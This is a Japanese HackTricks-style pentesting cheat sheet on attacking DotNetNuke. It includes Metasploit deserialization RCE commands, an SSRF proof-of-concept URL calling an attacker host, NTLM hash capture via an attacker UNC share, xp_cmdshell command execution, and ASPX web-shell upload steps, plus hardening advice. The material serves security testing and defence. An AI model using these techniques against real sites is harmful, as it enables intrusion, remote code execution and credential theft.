DotNetNuke (DNN)

Reading time: 7 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

DotNetNuke (DNN)

DNNに管理者としてログインすると、RCEを取得するのは簡単ですが、過去数年で未認証および認証後の技術がいくつか公開されています。以下のチートシートは、攻撃的および防御的な作業のための最も有用なプリミティブを集めています。


バージョンと環境の列挙

  • X-DNN HTTPレスポンスヘッダーを確認してください – 通常、正確なプラットフォームバージョンが開示されます。
  • インストールウィザードは、/Install/Install.aspx?mode=installでバージョンを漏洩します(非常に古いインストールでアクセス可能)。
  • /API/PersonaBar/GetStatus (9.x)は、低権限ユーザー向けに"dnnVersion"を含むJSONブロブを返します。
  • 実行中のインスタンスで見る典型的なクッキー:
  • .DOTNETNUKE – ASP.NETフォーム認証チケット。
  • DNNPersonalization – XML/シリアライズされたユーザープロファイルデータを含みます(古いバージョン – 下記のRCEを参照)。

未認証の悪用

1. クッキーのデシリアライズによるRCE (CVE-2017-9822 & フォローアップ)

影響を受けるバージョン ≤ 9.3.0-RC

DNNPersonalizationは、組み込みの404ハンドラーが有効な場合、すべてのリクエストでデシリアライズされます。したがって、作成されたXMLは任意のガジェットチェーンとコード実行につながる可能性があります。

msf> use exploit/windows/http/dnn_cookie_deserialization_rce
msf> set RHOSTS <target>
msf> set LHOST  <attacker_ip>
msf> run

モジュールは、パッチが適用されているが依然として脆弱なバージョン(CVE-2018-15811/15812/18325/18326)に対して正しいパスを自動的に選択します。 7.x–9.1.xでは認証なしで、9.2.x+では確認済みの低権限アカウントでの悪用が可能です。

2. サーバーサイドリクエストフォージェリ (CVE-2025-32372)

影響を受けるバージョン < 9.13.8 – パッチは2025年4月にリリース

古いDnnImageHandlerの修正をバイパスすることで、攻撃者はサーバーに任意のGETリクエストを発行させることができます(セミブラインドSSRF)。 実際の影響:

  • クラウド展開における内部ポートスキャン / メタデータサービスの発見。
  • インターネットからファイアウォールで保護されたホストへの到達。

概念実証(TARGETATTACKERを置き換えてください):

https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc

リクエストはバックグラウンドでトリガーされます; コールバックのためにリスナーを監視してください。

3. NTLMハッシュの露出 via UNCリダイレクト (CVE-2025-52488)

影響を受けるバージョン 6.0.0 – 9.x (< 10.0.1)

特別に作成されたコンテンツにより、DNNは \\attacker\share\img.png のような UNCパス を使用してリソースを取得しようとします。 Windowsは喜んでNTLMネゴシエーションを行い、サーバーアカウントのハッシュを攻撃者に漏洩させます。 10.0.1 にアップグレードするか、ファイアウォールでアウトバウンドSMBを無効にしてください。

4. IPフィルターバイパス (CVE-2025-52487)

管理者が管理ポータルの保護のために Host/IPフィルター に依存している場合、10.0.1 より前のバージョンはリバースプロキシシナリオで X-Forwarded-For を操作することでバイパスされる可能性があることに注意してください。


認証後のRCE

SQLコンソール経由

Settings → SQL の下にある組み込みクエリウィンドウを使用して、サイトデータベースに対して実行できます。 Microsoft SQL Serverでは、xp_cmdshell を有効にしてコマンドを生成できます:

sql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
xp_cmdshell 'whoami';

ASPXウェブシェルのアップロード経由

  1. **設定 → セキュリティ → その他 → その他のセキュリティ設定**に移動します。
  2. 許可されるファイル拡張子aspx(またはasp)を追加し、保存します。
  3. **/admin/file-management**に移動し、shell.aspxをアップロードします。
  4. **/Portals/0/shell.aspx**でトリガーします。

Windowsでの特権昇格

**IIS AppPool<Site>**としてコード実行が達成されると、一般的なWindows特権昇格技術が適用されます。ボックスが脆弱であれば、次のことを利用できます:

  • PrintSpoofer / SpoolFoolを使用してSeImpersonatePrivilegeを悪用します。
  • Juicy/Sharp Potatoesを使用してサービスアカウントから脱出します。

ハードニング推奨事項(ブルーチーム)

  • 9.13.9(SSRFバイパスの修正)以上にアップグレードするか、できれば10.0.1(IPフィルターおよびNTLMの問題)にアップグレードします。
  • インストール後に残存する**InstallWizard.aspx***ファイルを削除します。
  • アウトバウンドSMB(ポート445/139)を無効にします。
  • DNN内ではなく、エッジプロキシで強力なホストフィルターを強制します。
  • 使用していない場合は/API/RemoteContentProxyへのアクセスをブロックします。

参考文献

  • Metasploit dnn_cookie_deserialization_rceモジュールのドキュメント – 実用的な認証なしRCEの詳細(GitHub)。
  • GitHubセキュリティアドバイザリーGHSA-3f7v-qx94-666m – 2025年のSSRFバイパスおよびパッチ情報。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする